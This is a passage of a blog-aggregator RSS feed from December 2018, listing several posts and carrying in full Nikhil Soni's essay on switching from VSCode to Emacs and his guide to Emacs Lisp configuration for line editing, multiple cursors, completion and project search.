&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 18 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/fun-project-bookmarks</guid></item><item><title>A Mind at Play: How Claude Shannon Invented the Information Age</title><link>https://olshansky.info/book/a_mind_at_play/</link><description>Olshansky's review of A Mind at Play: How Claude Shannon Invented the Information Age by Jimmy Soni</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 18 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/a_mind_at_play/</guid></item><item><title>Interesting queries on a football database</title><link>https://rjp.is/blogging/posts/football_database/</link><description>In which we query a football database for facts and fun.</description><author>infrequent oscillations</author><pubDate>Mon, 17 Dec 2018 15:53:00 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/football_database/</guid></item><item><title>Here’s to you</title><link>https://justingarrison.com/blog/2018-12-17-heres-to-you/</link><description>Here’s to the people I can relate to. The people that I don’t know, but I understand. For those who feel like you don't belong.</description><author>Justin Garrison's Homepage</author><pubDate>Mon, 17 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2018-12-17-heres-to-you/</guid></item><item><title>A Quest To Find Perfect Editor</title><link>https://nikhilsoni.me/2018/12/16/a-quest-to-find-perfect-editor/</link><description>&lt;p&gt;I used to use Atom, it’s MIT licensed, got tons of
extensions. I was happy, life was good. Then Microsoft baught
Github. Soon enough, people started talking about &lt;a href="https://news.ycombinator.com/item?id=17258419"&gt;future of
Atom&lt;/a&gt;. Since they
already have something similar called VSCode, I too started worrying
about their long term commitment to Atom. Few of my friends use
VSCode and I’d heard and seen some very good things about it. Now that
both were owned by Microsoft, there was no reason to stick with Atom
and not give VSCode a try. So I did. It turned out great. Extension
support and community is so great that I installed extension for
almost all languages I used to write in that time. I started using it
as my main editor and kept searching for something that isn’t owned by
MS. I wanted something I can trust to take it to my grave. Options
were very clear – Vim or Emacs?&lt;/p&gt;

&lt;p&gt;I had tried out these editors before and they require time and effort
to get used to, which I had never invested. But, it was never Vim vs
Emacs for me. Full disclosure, during my junior year in college, I got
a chance to attened a &lt;a href="https://geekgazette.org/2016/03/richard-stallman/"&gt;talk by Richard
Stallman&lt;/a&gt; and I was
already influenced by FSF to some extent. After that talk, I tried
quiting Facebook (which I eventually did), reading about life without
Google and using Emacs as default editor. None of them actually worked
out that time.&lt;/p&gt;

&lt;p&gt;So now that I was looking for an editor, I reconsidered Emacs, until I
accidently pressed some keys (&lt;code class="language-plaintext highlighter-rouge"&gt;C-x m&lt;/code&gt;) and a mail client like buffer
opened up. I was already overwhelmed by it and things like these got
me off. I just wanted an editor where I can code and not a mail client
(it isn’t). That day, I started setting up Vim.&lt;/p&gt;

&lt;p&gt;Soon enough, I got used to selecting and deleting words with &lt;code class="language-plaintext highlighter-rouge"&gt;ved&lt;/code&gt; and
moving around line like &lt;code class="language-plaintext highlighter-rouge"&gt;0&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;$&lt;/code&gt; and not being able to use these
keys when writing mails or anything that involves typing or editing a
little more than a word or two, turned out be an irritating
point. That mail client looking like Emacs buffer started to make
sense now. An editor that once you get used to will be there for you,
whenever or wherever you need to type a word. Need a &lt;a href="https://github.com/pashky/restclient.el"&gt;REST
client&lt;/a&gt;, want to search
through a command’s output or may be just want to write some &lt;a href="https://orgmode.org/"&gt;plain
English&lt;/a&gt;, it got you covered. Sure, Vim might
also provide those things, but I moved back to Emacs.&lt;/p&gt;

&lt;p&gt;If you want to move to Emacs,
&lt;a href="/2018/12/15/easy-moving-from-vscode-to-emacs/"&gt;here&lt;/a&gt; is my take on
setup to smoothly transition from your current editor.&lt;/p&gt;

&lt;p&gt;–
&lt;a href="https://twitter.com/krsoninikhil"&gt;Nikhil&lt;/a&gt;&lt;/p&gt;</description><author>Nikhil Soni</author><pubDate>Sun, 16 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nikhilsoni.me/2018/12/16/a-quest-to-find-perfect-editor/</guid></item><item><title>Everything I've learned in 10 years of Blogging</title><link>https://ferrucc.io/posts/starting-a-blog/</link><description>&lt;p&gt;I&amp;rsquo;m 21, but I&amp;rsquo;ve been blogging for almost 10 years.&lt;/p&gt;
&lt;p&gt;I grew up doing this.&lt;/p&gt;
&lt;p&gt;What I&amp;rsquo;ve written on the internet has reached millions of people. Most of what I&amp;rsquo;ve written is in Italian, but I was also quite successful when writing in english. My Quora profile, reached 400k people in three months.&lt;/p&gt;
&lt;p&gt;Through blogging I had the opportunity to travel the world, getting free tickets to all the biggest music festivals (Ultra, Tomorrowland.. you name it), getting promos from the Majors and interviewing my favorite artists.&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Sat, 15 Dec 2018 21:57:56 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/posts/starting-a-blog/</guid></item><item><title>Easy Moving From Vscode To Emacs</title><link>https://nikhilsoni.me/2018/12/15/easy-moving-from-vscode-to-emacs/</link><description>&lt;p&gt;If you have already decided to go with Emacs as your choice of editor,
congratulations! This is going to be great. However, the part after
this is what’s hard and takes time. You might already be missing some
of the very basic functionalities like opening a project file without
typing the full path or searching something project-wide that you are
very accustomed to. These features usually comes out of the box or by
installing some extensions that do not require any configuration,
with most of graphics based editors like Atom, VS Code or Sublime. If
that is the case, keep reading. When I first started using Emacs, I
spent quite some time reading and trying out stuffs to make these
things work and this article is exactly because of that – to make
your transition smoother. The focus is NOT on being more productive
with Emacs or to give you tricks and fancy lisp code that will make
you Emacs ninja overnight (they exists btw). That is something you can
focus on once you’re comfortable using Emacs. This is my attempt to
make every tyro feel home, to give you a setup that will allow you to
do all the stuff that you’re used to.&lt;/p&gt;

&lt;p&gt;Emacs is built around the philosophy of extensibility and flexibility
– being able to hook your own code at any event of your choice is
what makes it awesome. And because of that, the huge community around
the editor have highly opinionated setups based on what works for
them. There exists modified versions of Emacs like Prelude, Spacemacs,
etc. that are loaded with a lot of functionalities you wouldn’t find
anywhere else but in my personal opinion, it’s good to know what is cake
and what are the cherries.&lt;/p&gt;

&lt;p&gt;Before we start, familiarize yourself with basic key combinations and
terminology of Emacs. Built-in tutorial explains that very neatly
which you can read by &lt;code class="language-plaintext highlighter-rouge"&gt;C-h t&lt;/code&gt; (hold control key and press h, then
leave control key and press t). &lt;a href="http://www.jesshamrick.com/2012/09/10/absolute-beginners-guide-to-emacs/"&gt;This awesome
article&lt;/a&gt;
from last week’s HN front page is also a great read for this.&lt;/p&gt;

&lt;p&gt;Let’s start. After moving from Atom and VSCode to Emacs, I missed these
functionalities:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Being able to duplicate current line&lt;/li&gt;
  &lt;li&gt;Move or drag a line up and down&lt;/li&gt;
  &lt;li&gt;Use multiple cursors to edit at a time&lt;/li&gt;
  &lt;li&gt;Auto-completion of variables and functions name&lt;/li&gt;
  &lt;li&gt;Fuzzy file search i.e. Ctrl-P or Cmd-Shift-o in other editors&lt;/li&gt;
  &lt;li&gt;Searching a term of string in the whole project&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;A tree view of the project to explore file structure&lt;/p&gt;

    &lt;p&gt;Few more things that I had installed extensions for in VSCode:&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Goto functions and class definitions&lt;/li&gt;
  &lt;li&gt;Come back to previous cursor position&lt;/li&gt;
  &lt;li&gt;Find all the reference of a function&lt;/li&gt;
  &lt;li&gt;Markdown preview&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Surprisingly, some of these are as easy as hooking a couple of lines
of code to a keystroke, for some a little more than a couple of lines
so we’ll use community developed packages for them. The latest version
of Emacs ships with a package manager – &lt;code class="language-plaintext highlighter-rouge"&gt;package.el&lt;/code&gt;. We just need to
add MELPA repository to it so it can search packages for us. Add this
Emacs Lisp (&lt;a href="https://emacs.stackexchange.com/a/2989/21028"&gt;ref&lt;/a&gt;) to
your &lt;code class="language-plaintext highlighter-rouge"&gt;~/.emacs.d/init.el&lt;/code&gt; file to do that.&lt;/p&gt;

&lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="ss"&gt;'package&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt; &lt;span class="nv"&gt;package-archives&lt;/span&gt;
      &lt;span class="o"&gt;'&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s"&gt;"GNU ELPA"&lt;/span&gt;     &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s"&gt;"https://elpa.gnu.org/packages/"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"MELPA Stable"&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s"&gt;"https://stable.melpa.org/packages/"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"MELPA"&lt;/span&gt;        &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s"&gt;"https://melpa.org/packages/"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
      &lt;span class="nv"&gt;package-archive-priorities&lt;/span&gt;
      &lt;span class="o"&gt;'&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s"&gt;"GNU ELPA"&lt;/span&gt;     &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"MELPA Stable"&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"MELPA"&lt;/span&gt;        &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;package-initialize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will also give priorities to repositories to avoid duplicate
listing in case of certain packages being present in more than
one. After adding this restart Emacs to reload &lt;code class="language-plaintext highlighter-rouge"&gt;init.el&lt;/code&gt; and do this:
&lt;code class="language-plaintext highlighter-rouge"&gt;M-x package-refresh-contents&lt;/code&gt;. Now you are ready to install most of
the packages. Note that you can also reload you &lt;code class="language-plaintext highlighter-rouge"&gt;init.el&lt;/code&gt; by doing
&lt;code class="language-plaintext highlighter-rouge"&gt;M-x load-file&lt;/code&gt; and then providing file path.&lt;/p&gt;

&lt;p&gt;Rest of the article is about enabling above mentioned functionalities
one by one.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Add this code to same &lt;code class="language-plaintext highlighter-rouge"&gt;init.el&lt;/code&gt;&lt;/p&gt;

    &lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt; &lt;span class="nv"&gt;duplicate-line&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;interactive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;save-mark-and-excursion&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;beginning-of-line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;insert&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;thing-at-point&lt;/span&gt; &lt;span class="ss"&gt;'line&lt;/span&gt; &lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="p"&gt;))))&lt;/span&gt;

 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-S-d"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'duplicate-line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;Now, you can use &lt;code class="language-plaintext highlighter-rouge"&gt;C-S-d&lt;/code&gt; (Control-Shift-d) to duplicate current
 line. Change these key combination to whatever suits you.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Add these lines for using &lt;code class="language-plaintext highlighter-rouge"&gt;C-S-j&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;C-S-k&lt;/code&gt; to move a line up or
down one line.&lt;/p&gt;

    &lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt; &lt;span class="nv"&gt;move-line-down&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;interactive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;col&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;current-column&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;save-excursion&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;forward-line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;transpose-lines&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;forward-line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;move-to-column&lt;/span&gt; &lt;span class="nv"&gt;col&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;

 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt; &lt;span class="nv"&gt;move-line-up&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt;
   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;interactive&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
   &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;col&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;current-column&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;save-excursion&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;forward-line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;transpose-lines&lt;/span&gt; &lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;forward-line&lt;/span&gt; &lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
     &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;move-to-column&lt;/span&gt; &lt;span class="nv"&gt;col&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;

 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-S-j"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'move-line-down&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-S-k"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'move-line-up&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To get mutiple cursor, I use &lt;code class="language-plaintext highlighter-rouge"&gt;multiple-cursor&lt;/code&gt; package, which can
be installed by &lt;code class="language-plaintext highlighter-rouge"&gt;M-x package-install &amp;lt;RET&amp;gt; multiple-cursor &amp;lt;RET&amp;gt;&lt;/code&gt;. Add these
key bindings to easily use it.&lt;/p&gt;

    &lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="ss"&gt;'multiple-cursors&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-|"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'mc/edit-lines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'mc/mark-next-like-this&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-&amp;lt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'mc/mark-previous-like-this&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-c C-&amp;lt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'mc/mark-all-like-this&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-S-&amp;lt;mouse-1&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'mc/add-cursor-on-click&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;define-key&lt;/span&gt; &lt;span class="nv"&gt;mc/keymap&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;return&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;These commands do exactly what they look like. To get out of multiple
cursors, use &lt;code class="language-plaintext highlighter-rouge"&gt;C-g&lt;/code&gt;, the last line in above code prevents using &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;lt;RETURN&amp;gt;&lt;/code&gt;
key to do same. You can read more about it in the project &lt;a href="http://stable.melpa.org/#/multiple-cursors"&gt;doc page&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To let Emacs auto-complete function names and variables, I use
&lt;a href="http://stable.melpa.org/#/company"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;company&lt;/code&gt;&lt;/a&gt;, which can be
installed by &lt;code class="language-plaintext highlighter-rouge"&gt;M-x package-install &amp;lt;RET&amp;gt; company-mode &amp;lt;RET&amp;gt;&lt;/code&gt;. And can be
activated by adding this line to &lt;code class="language-plaintext highlighter-rouge"&gt;init.el&lt;/code&gt;:&lt;/p&gt;

    &lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;add-hook&lt;/span&gt; &lt;span class="ss"&gt;'after-init-hook&lt;/span&gt; &lt;span class="ss"&gt;'global-company-mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I use the combination of
&lt;a href="https://www.projectile.mx/en/latest/"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;projectile&lt;/code&gt;&lt;/a&gt; and
&lt;a href="https://emacs-helm.github.io/helm/"&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;helm&lt;/code&gt;&lt;/a&gt; package to deal with
fuzzy file search. Configurations for &lt;code class="language-plaintext highlighter-rouge"&gt;helm&lt;/code&gt; can be a bit overwhelming so
just start with following.&lt;/p&gt;

    &lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="ss"&gt;'projectile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt; &lt;span class="nv"&gt;projectile-indexing-method&lt;/span&gt; &lt;span class="ss"&gt;'alien&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt; &lt;span class="nv"&gt;projectile-enable-caching&lt;/span&gt; &lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;projectile-global-mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="ss"&gt;'helm&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;require&lt;/span&gt; &lt;span class="ss"&gt;'helm-config&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-c h"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'helm-command-prefix&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-unset-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-x c"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;helm-autoresize-mode&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"M-x"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'helm-M-x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt; &lt;span class="nv"&gt;helm-M-x-fuzzy-match&lt;/span&gt; &lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"C-x C-f"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'helm-find-files&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;helm-mode&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;This will allow you to use &lt;code class="language-plaintext highlighter-rouge"&gt;C-c p f&lt;/code&gt; for opening your project files
just by typing file name and not the whole path. And when you use &lt;code class="language-plaintext highlighter-rouge"&gt;C-x
C-f&lt;/code&gt; to open a file that is outside the project directory, you can
type any part of the directory or file name or even non contiguous
parts separated by space to narrow down the suggestions e.g. if you
want to select &lt;code class="language-plaintext highlighter-rouge"&gt;controllers&lt;/code&gt; out of &lt;code class="language-plaintext highlighter-rouge"&gt;controllers&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;contol&lt;/code&gt; folder
name, you can type &lt;code class="language-plaintext highlighter-rouge"&gt;co s&lt;/code&gt;. Use &lt;code class="language-plaintext highlighter-rouge"&gt;C-j&lt;/code&gt; (not TAB) to choose highlighted
option.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;projectile&lt;/code&gt; can also be used to search for something in the whole
project: &lt;code class="language-plaintext highlighter-rouge"&gt;C-c p s s&lt;/code&gt;. This command used &lt;code class="language-plaintext highlighter-rouge"&gt;ag&lt;/code&gt; system package, which
should definitely have and a &lt;code class="language-plaintext highlighter-rouge"&gt;ag.el&lt;/code&gt; Emacs package. I don’t
generally use project wild search and replace but if that’s your
thing, &lt;a href="https://emacs.stackexchange.com/a/243/21028"&gt;this&lt;/a&gt; answer
from Stackexchange explains a great way of doing so.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Built-in &lt;code class="language-plaintext highlighter-rouge"&gt;speedbar&lt;/code&gt; provides good enough interactive tree view of
project. It can be started with &lt;code class="language-plaintext highlighter-rouge"&gt;M-x speedbar&lt;/code&gt;. It’s easier to bind
it to some key like F8 using&lt;/p&gt;

    &lt;div class="language-elisp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;global-set-key&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;kbd&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;f8&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ss"&gt;'speedbar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I use
